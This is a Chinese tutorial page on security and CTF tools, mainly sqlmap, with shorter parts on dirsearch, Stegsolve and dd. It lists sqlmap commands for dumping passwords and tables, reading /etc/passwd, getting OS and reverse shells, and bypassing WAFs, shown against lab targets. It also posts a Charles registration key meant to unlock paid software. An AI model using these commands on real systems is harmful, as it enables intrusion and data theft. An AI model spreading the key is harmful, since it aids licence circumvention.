常用工具教程
Charles
// 适用于Charles任意版本的注册码,谁还会想要使用破解版呢。
// Charles 4.2目前是最新版,可用。
Registered Name: https://zhile.io
License Key: 48891cf209c6d32bf4
本方法通杀charlse系列激活问题。
Vi/Vim
Ettercap
Dirsearch
介绍
dirsearch 是一个python开发的目录扫描工具。可以扫描网站的敏感文件和目录从而找到突破口
特点:
1 | 多线程 |
安装
项目路径:https://github.com/maurosoria/dirsearch
windows直接下载,需要python3环境
kali linux自带,没有的话可以sudo apt-get install dirsearch
使用
以kali linux为例
1 | dirsearch [-u|--url] target [-e|--extensions] extensions [options] |
参数options如下
1 | -h, --help 查看帮助 |
kali linux中软件包位置可以用dpkg -L 软件包名
来确定
其中字典所在位置/db/dicc.txt
,可以进行修改自定义字典,或者使用-w
命令使用收集的字典
示例
攻防世界/baby_web
题目描述:想想初始页面是哪个
使用dirsearch扫描给定网址
访问/index.php
会重定向到1/php
,此时使用burpsuite抓包
可以得到flag
Sqlmap
介绍
Sqlmap
是一个开源的渗透测试工具,可以用来自动化的检测、利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
目前支持的数据库有MySQL
、Oracle
、PostgreSQL
、Microsoft SQL Server
、Microsoft Access
等数据库。
sqlmap的注入方式:
1 | 基于布尔类型的盲注:根据返回页面内容判断条件真假的注入。 |
安装
在sqlmap的官网可以下载软件包,需要运行在python环境中。
Kali linux
系统自带sqlmap
;如果没有,可以用sudo apt-get install sqlmap
安装
使用及示例
判断是否存在注入
当网站不需要登录时,通过-u
来判断是否存在注入
1 | sqlmap -u url/?id=1 |
这里能看出该数据库可能为Mysql数据库,版本≥5.0.12,且存在基于时间的SQL盲注
输入y
继续,可以使用--batch
参数选择默认选项执行
显示id
参数为注入点,存在联合注入
输入y
d等待扫描完成后,会显示相关验证的payload
并且给出扫描结果
可以看到相关配置信息
当网站需要登录时,需要指定cookie才能进行注入(cookie需要在登录后获取)
1 | sqlmap -u "url/?id=1" --cookie="cookie" |
当网站使用POST传递数据时,需要指定data
参数
1 | sqlmap -u "url" --data="user=admin&passwd=admin&submit=Submit" |
也可以通过抓取请求数据包保存为文件后,使用-r
参数进行注入
1 | sqlmap -r request.txt |
查看数据库信息
查看数据库版本信息
1 | sqlmap -u "url/?id=1" --banner |
查看数据库中所有的用户
1 | sqlmap -u "url/?id=1" --users |
查看数据库所有用户名的密码
1 | sqlmap -u "http://xxx/Less-1/?id=1" --passwords |
查看数据库当前用户
1 | sqlmap -u "http://xxx/Less-1/?id=1" --current-user |
判断当前用户是否有管理权限
1 | sqlmap -u "http://xxx/Less-1/?id=1" --is-dba |
列出数据库管理员角色
1 | sqlmap -u "url/?id=1" --roles |
查看所有的数据库
1 | sqlmap -u "url/?id=1" --dbs |
查看当前的数据库
1 | sqlmap -u "url/?id=1" --current-db |
爆出指定数据库中的所有的表
1 | sqlmap -u "url/?id=1" -D cyber --tables |
爆出指定数据库指定表中的所有的列
1 | sqlmap -u "url/?id=1" -D cyber -T cyber --columns |
爆出指定数据库指定表指定列下的数据
1 | sqlmap -u "url/?id=1" -D cyber -T cyber -C user --dump |
爆出该网站数据库中的所有数据
1 | sqlmap -u "url/?id=1" -D cyber -T cyber --dump-all #爆出数据库security中的users表中的所有数据 |
示例1
其它操作
探测等级和危险等级(–level –risk)
Sqlmap有5个探测等级
,默认为1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。
当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
sqlmap有3个危险等级
,默认为1。等级1在大多数情况下对测试目标无害。 等级2增加了基于时间的注入测试,等级3增加了OR测试。
1 | sqlmap -u "url/Less-1/" --level=5 --risk=3 |
伪造Http Referer头部(–referer)
1 | sqlmap -u "url/Less-1/" --referer http://www.baidu.com |
执行指定的SQL语句(–sql-shell –sql-query)
1 | sqlmap -u "url/?id=1" --sql-shell |
执行操作系统命令(–os-cmd –os-shell)
当数据库为MySQL、PostgreSql或者SQL Server时,可以执行操作系统命令
当为MySQL数据库时,需满足下面条件:
1.当前用户为 root
2.知道网站根目录的绝对路径
1 | sqlmap -u "url/Less-1/?id=1" --os-cmd=whoami |
选择网站脚本类型
选择可写目录(根目录)
但是示例都不可写,如果可以写入的话
1 | --os-cmd会执行命令 |
读取服务器文件(–file-read)
当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件
1 | sqlmap -u "http://xxx/sqli/Less-4/?id=1" --file-read "/etc/paswd" |
上传文件到数据库服务器中(–file-write –file-dest)
当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。
需要知道绝对路径
1 | sqlmap -u http://xxx/sqli-labs/Less-2/?id=1 |
输出级别(-v)
使用 Sqlmap 对一个注入点进行测试时,可以使用 -v x
参数指定回显信息的复杂度,x范围为[0~6],共有 7 个等级,默认为 1。
1 | 0:只显示python错误以及严重的信息。 |
绕过WAF
Sqlmap在默认情况下除了适用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用--tamper
参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。
SQL参数绕过
1 | --random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候 |
指定脚本进行绕过(–tamper)
有些时候网站会过滤掉各种字符,可以用--tamper
来解决(对付某些waf时也有成效)
sqlmap 官方提供了53个绕过脚本,脚本目录在/usr/share/sqlmap/tamper
中
部分脚本如下:
指定单个脚本绕过
1 | sqlmap -u "http://xxx/Less-1/?id=1" --tamper=space2plus.py |
指定多个脚本绕过
1 | sqlmap -u "http://xxx/Less-1/?id=1" --tamper="space2comment.py,space2plus.py" |
更多参数
查看元数据库(–schema)
连接数据库服务器(-d)
直接连接数据库服务器,作为数据库客户端使用而不是通过SQL注入漏洞查询进行,查询速度较快,前提是已知数据库当前的用户名及其密码、IP、端口和数据库名称
1 | sqlmap -d “mysql://user:password@10.10.10.137:3306/dvwa” -f --users |
扫描多个URL文件(-m)
sqlmap -m urllist.txt –users
扫描HTTPS网站(–force-ssl)
变量分隔符(–param-del)
默认情况下参数变量的分隔符为&,若为其他符号时要使用变量分隔符
1 | sqlmap -u "url" --data="username=1;password=2" --param-del=";" |
查看指纹信息(-f)
采用多线程(–threads n)
反弹shell(–os-pwn)
1 | --os-pwn --msf-path=/opt/framework/msf3/ |
Wireshark
Stegsolve
参数说明
1 | File Format:文件格式,这里你会看见图片的具体信息 |
关于Data Extract的参数
1 | 左半部分 |
1 | 右半部分 |
1 | Steregram Solve:立体试图 可以左右控制偏移 可以放张图片试一下就知道这个是什么意思了 |
dd
用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换
1 | 参数 |
例如
1 | dd if=hong.mp3 of=hong1.jpg skip=82483 bs=1 |